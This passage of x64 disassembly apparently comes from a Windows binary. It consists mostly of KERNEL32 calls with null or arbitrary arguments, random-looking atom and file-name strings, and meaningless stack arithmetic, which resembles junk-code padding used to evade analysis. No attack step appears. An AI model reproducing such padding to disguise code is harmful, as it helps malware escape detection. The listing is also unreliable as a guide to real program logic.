call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
movzx ecx, word [rsp + 0xef8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x110c], ax
lea rcx, [rsp + 0x1a5e8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xa0f8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov rax, qword [rsp + 0x9e28]
mov rcx, qword [rsp + 0x97e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x96a8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x28c]
movzx ecx, byte [rsp + 0x27e]
sub eax, ecx
mov byte [rsp + 0x170], al
mov rax, qword [rsp + 0xa0a0]
movzx eax, word [rax]
mov rcx, qword [0x14024f360]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9a00]
mov word [rcx], ax
lea rdx, [rsp + 0x9cc0]
mov rcx, qword [rsp + 0x9fb8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4844], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xa100], rax
mov eax, dword [rsp + 0x4a8c]
mov ecx, dword [rsp + 0x45fc]
add ecx, eax
mov eax, ecx
mov dword [0x14022fb88], eax
mov rax, qword [rsp + 0x88b0]
mov qword [rsp + 0xa108], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9698], rax
mov dword [rsp + 0x20], 0x17e1
mov r9d, 0x794
mov r8d, 0x22ad
mov edx, 0x3dd6
mov rcx, qword [rsp + 0x8c98]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x46fc], eax
lea rcx, [rsp + 0xa110]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
mov rax, qword [rsp + 0x9578]
mov rcx, qword [rsp + 0x9868]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9e88]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rdx, [rsp + 0xa118]
mov rcx, qword [rsp + 0x9fa0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4aac], eax
lea rax, [rsp + 0x28b]
mov qword [rsp + 0xa120], rax
movsx eax, byte [rsp + 0x154]
movsx ecx, byte [rsp + 0xe1]
sub eax, ecx
mov byte [rsp + 0x293], al
mov rax, qword [rsp + 0x93e0]
mov eax, dword [rax]
mov ecx, dword [0x14022fb68]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4acc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov rcx, qword [rsp + 0x8cd8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 2
lea r8, [rsp + 0x8d28]
mov rdx, qword [rsp + 0x9a58]
mov rcx, qword [rsp + 0x8fa0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4af0], eax
lea rax, [rsp + 0x9208]
mov qword [rsp + 0xa128], rax
movsx eax, word [rsp + 0xf60]
mov rcx, qword [rsp + 0x9fe0]
movsx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x1068], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov eax, dword [rsp + 0x495c]
mov ecx, dword [0x14022fb78]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f74], eax
mov dword [rsp + 0x20], 0x3f59
mov r9d, 0x3ca2
mov r8d, 0x19d4
mov edx, 0xf71
mov rcx, qword [rsp + 0x9e38]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x49ec], eax
mov dword [rsp + 0x20d60], 0x11c
movzx ecx, word [rsp + 0x10f0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1128], ax
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x1f800]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4960], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.gtq3FRRLgn9x1Dqx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa130], rax
lea rcx, [rsp + 0x9db0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rax, [rsp + 0x257]
mov qword [0x14024f280], rax
mov r9d, 1
lea r8, [rsp + 0x9ca8]
mov rdx, qword [rsp + 0x9000]
mov rcx, qword [rsp + 0x9c68]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4990], eax
lea rcx, str.sQeo_JY1Spk
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1134], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
lea rcx, [rsp + 0x9b88]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa138], rax
mov rcx, qword [rsp + 0x9e08]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0x4594]
movzx ecx, al
mov eax, dword [rsp + 0x474c]
shr eax, cl
mov rcx, qword [rsp + 0x9d98]
mov dword [rcx], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
lea rcx, [rsp + 0x1a558]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xa140], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
movzx eax, word [0x14024f302]
movzx ecx, word [rsp + 0xfb8]
or eax, ecx
mov word [rsp + 0x5cc], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
mov rax, qword [rsp + 0x9820]
movzx eax, word [rax]
mov word [rsp + 0x1138], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9880], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa148], rax
xor r9d, r9d
lea r8, [rsp + 0x8f90]
mov rdx, qword [rsp + 0x98e8]
mov rcx, qword [rsp + 0x9ab8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4a3c], eax
movzx ecx, word [rsp + 0xf24]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x113c], ax
mov edx, 0x14af
mov rcx, qword [rsp + 0x9e30]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x48c4], eax
mov rax, qword [rsp + 0x9d90]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1068]
xor eax, ecx
mov word [rsp + 0x8b4], ax
lea rcx, [rsp + 0x1a4f8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x1a678]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rcx, qword [rsp + 0xa038]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0x4ab8]
mov dword [rsp + 0x4af4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov rax, qword [rsp + 0x8ef0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9748]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9658]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
lea rcx, str.Fo_MG5wx_PdhLk
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1140], ax
mov rax, qword [rsp + 0x9a10]
mov ecx, dword [rsp + 0x4880]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa040]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8cf0], rax
mov rax, qword [rsp + 0x9d70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9730]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x17c], al
xor r9d, r9d
lea r8, [rsp + 0x9b20]
mov rdx, qword [rsp + 0xa020]
mov rcx, qword [rsp + 0x9b18]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4a7c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xa150], rax
mov rax, qword [rsp + 0xa0a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1098]
and eax, ecx
mov word [0x14024f3c8], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov rcx, qword [rsp + 0x8df8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [rsp + 0x96b8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [rsp + 0x9d28]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4af8], eax
mov rax, qword [rsp + 0x97c8]
mov rcx, qword [rsp + 0x8538]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9b50], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
lea rax, [rsp + 0x8960]
mov qword [rsp + 0xa158], rax
mov rax, qword [rsp + 0x91f0]
mov rcx, qword [rsp + 0x9af8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa030]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov rcx, qword [rsp + 0x9678]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4afc], eax
lea rcx, [rsp + 0x1a4c8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [0x14024f398]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9a68]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x14c], al
mov rcx, qword [rsp + 0x9f70]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x99b8]
mov qword [rsp + 0xa160], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
lea rcx, [rsp + 0x8f90]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0x9188]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x49f4], eax
mov eax, dword [rsp + 0x4988]
mov ecx, dword [rsp + 0x48f8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4648], eax
movzx eax, word [0x14024f3be]
mov word [rsp + 0x1144], ax
movzx ecx, word [rsp + 0xfc0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfd8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r9d, r9d
lea r8, [rsp + 0xa090]
mov rdx, qword [rsp + 0xa110]
mov rcx, qword [rsp + 0x9168]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4a70], eax
lea rcx, [rsp + 0x9d00]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9160]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9a88]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x278], al
lea rcx, str.XPzwSK1
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1148], ax
mov rcx, qword [rsp + 0x9650]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4a44], eax
mov eax, dword [0x14024f38c]
mov ecx, dword [rsp + 0x4594]
add ecx, eax
mov eax, ecx
mov dword [0x14024f390], eax
movzx ecx, word [rsp + 0xf68]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x114c], ax
mov rcx, qword [rsp + 0x96d0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rsp + 0x1a708]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
mov rcx, qword [rsp + 0x90d0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x20460]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4808], eax
mov rax, qword [rsp + 0x96c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8e08]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb28], ax
movzx eax, byte [rsp + 0x285]
movzx ecx, byte [rsp + 0x276]
and eax, ecx
mov rcx, qword [rsp + 0x9b40]
mov byte [rcx], al
lea rcx, str.JOcEmk
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1108], ax
mov eax, dword [rsp + 0x45fc]
mov ecx, dword [rsp + 0x46e8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9ec0]
mov dword [rcx], eax
movzx ecx, word [rsp + 0x1048]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1150], ax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2faa
mov r9d, 0x3bf8
mov r8d, 0x7fd93eb4
mov edx, 1
mov rcx, qword [rsp + 0x9fb8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4974], eax
lea rdx, [rsp + 0xa168]
mov rcx, qword [rsp + 0x9d48]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x494c], eax
lea rax, [rsp + 0x600]
mov qword [rsp + 0xa170], rax
movzx ecx, word [rsp + 0x1128]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1080], ax
mov rax, qword [rsp + 0x8f98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9568]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x159], al
lea rdx, [rsp + 0xa178]
mov rcx, qword [rsp + 0x8d08]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x493c], eax
mov rcx, qword [rsp + 0x9aa8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x20460]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4994], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xa180], rax
mov dword [rsp + 0x20], 0x3402
mov r9d, 0x211c
mov r8d, 0xff8
mov edx, 0x2ab0
mov rcx, qword [rsp + 0x9bd8]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4978], eax
lea rdx, [rsp + 0xa188]
mov rcx, qword [rsp + 0x9b18]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4a38], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9d68], rax
mov r9d, 0x1417
xor r8d, r8d
lea rdx, [rsp + 0x9b98]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4a68], eax
lea rcx, str.mn2kFI_aFIQa_JyJNNM_D
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1070], ax
lea rcx, str.bEb54_Ki
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1154], ax
mov rcx, qword [rsp + 0x9a30]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x9fa8]
mov eax, dword [rax]
mov dword [rsp + 0x4b00], eax
mov rax, qword [rsp + 0x9d30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa0b0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xc28], ax
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x20340]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4ae8], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov rax, qword [rsp + 0x7ed0]
movzx ecx, al
mov rax, qword [rsp + 0x94f8]
sar rax, cl
mov qword [rsp + 0x98b8], rax
lea rcx, str.JCso5O2_Ihg_xCpmSjv
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1158], ax
mov edx, 0x10e5
mov rcx, qword [rsp + 0xa140]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4980], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa190], rax
lea rax, [rsp + 0x42f4]
mov qword [0x14024f278], rax
movzx eax, word [rsp + 0xeec]
mov word [rsp + 0x115c], ax
movzx ecx, word [rsp + 0x106c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfa8], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
movzx eax, byte [rsp + 0x280]
movzx ecx, byte [rsp + 0x287]
add eax, ecx
mov byte [rsp + 0x17c], al
lea rax, [rsp + 0x7be8]
mov qword [rsp + 0xa198], rax
mov rax, qword [rsp + 0x9578]
mov rcx, qword [rsp + 0x8e30]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8538], rax
mov rax, qword [rsp + 0x9870]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9cd0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9d30]
mov word [rcx], ax
lea rax, [rsp + 0x294]
mov qword [rsp + 0xa1a0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xa1a8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov rax, qword [rsp + 0x9848]
mov ecx, dword [rsp + 0x46c4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4a08], eax
mov rax, qword [rsp + 0x9fc8]
mov rcx, qword [rsp + 0xa040]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3e24], eax
lea rax, [rsp + 0xf80]
mov qword [0x14024f270], rax
lea rdx, [rsp + 0x9c10]
mov rcx, qword [rsp + 0x9b18]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x49dc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x9de0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movzx ecx, word [rsp + 0x10e4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf14], ax
movzx eax, byte [rsp + 0x72]
mov rcx, qword [rsp + 0x95b0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x14c], al
mov rax, qword [rsp + 0x9e10]
mov rax, qword [rax]
mov qword [rsp + 0xa1b0], rax
xor r9d, r9d
lea r8, [rsp + 0x9ca8]
mov rdx, qword [rsp + 0xa118]
mov rcx, qword [rsp + 0x8f08]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4b04], eax
mov rax, qword [rsp + 0x80e0]
mov rcx, qword [rsp + 0x9f78]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7ed0], rax
mov rax, qword [rsp + 0x93b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4948], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
mov rcx, qword [rsp + 0x9c40]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0x4024]
mov ecx, dword [rsp + 0x48b4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f34], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.yz0Ju8feCJM1RX
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa1b8], rax
movzx ecx, word [rsp + 0x1154]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf4c], ax
mov r9d, 1
lea r8, [rsp + 0x9ca8]
mov rdx, qword [rsp + 0xa1c0]
mov rcx, qword [rsp + 0xa070]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x49e0], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8d48], rax
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x1f4a0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4a9c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
movsx eax, word [rsp + 0xf64]
movsx ecx, word [rsp + 0xf90]
sub eax, ecx
mov word [rsp + 0xfe8], ax
mov rax, qword [rsp + 0x9528]
movzx eax, byte [rax]
mov byte [rsp + 0x295], al
movzx eax, word [rsp + 0x6d8]
mov rcx, qword [rsp + 0x9df8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x6ec], ax
lea rcx, [rsp + 0x1a7c8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rdx, [rsp + 0xa0d0]
mov rcx, qword [rsp + 0x9828]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x47a0], eax
mov rax, qword [rsp + 0xa028]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x99e0]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x14024f2d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9578]
mov rax, qword [rax]
cqo
idiv qword [rsp + 0x7b28]
mov qword [rsp + 0xa048], rax
lea rax, [rsp + 0x9a08]
mov qword [rsp + 0xa1c8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xa1d0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov eax, dword [rsp + 0x3f74]
movzx ecx, al
mov eax, dword [rsp + 0x485c]
shl eax, cl
mov rcx, qword [rsp + 0x9588]
mov dword [rcx], eax
movzx ecx, word [rsp + 0xf4c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10ac], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.QhJEyirX_bClTyJIOW
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa1d8], rax
lea rcx, [rsp + 0x9bf0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x30a9
mov r9d, 0x1be3
mov r8d, 0xfcf2453e
mov edx, 2
mov rcx, qword [rsp + 0x96c8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4af0], eax
mov rax, qword [rsp + 0x8e78]
movzx eax, byte [rax]
mov byte [rsp + 0x296], al
movzx ecx, word [rsp + 0x10b4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1160], ax
lea rcx, [rsp + 0x9968]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x96a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x47c4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a30], eax
lea rdx, [rsp + 0x9c60]
mov rcx, qword [rsp + 0x97c0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4810], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xa1e0], rax
lea rdx, [rsp + 0x9dc8]
mov rcx, qword [rsp + 0x9d48]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4a58], eax
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x207c0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4b08], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9b48], rax
mov edx, 0x1834
mov rcx, qword [rsp + 0x9c38]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x49e4], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.ulSoEmL9sy01S2y81yB7HMrhlv
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa1e8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
mov rax, qword [rsp + 0x98d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x292]
sar eax, cl
mov byte [rsp + 0xe1], al
mov r9d, 2
lea r8, [rsp + 0xa090]
mov rdx, qword [rsp + 0xa020]
mov rcx, qword [rsp + 0x9fb8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4974], eax
mov rax, qword [rsp + 0x9d10]
movsx eax, word [rax]
movsx ecx, word [0x14024f3be]
and eax, ecx
mov word [rsp + 0x738], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xa1f0], rax
movzx ecx, word [rsp + 0xfac]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf94], ax
mov rcx, qword [rsp + 0x9580]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4a4c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0xf80]
movzx ecx, word [rsp + 0x10bc]
imul eax, ecx
mov rcx, qword [rsp + 0x8e58]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
mov rax, qword [rsp + 0x9c80]
mov ecx, dword [rsp + 0x4440]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14022fb78], eax
lea rdx, [rsp + 0x9ea0]
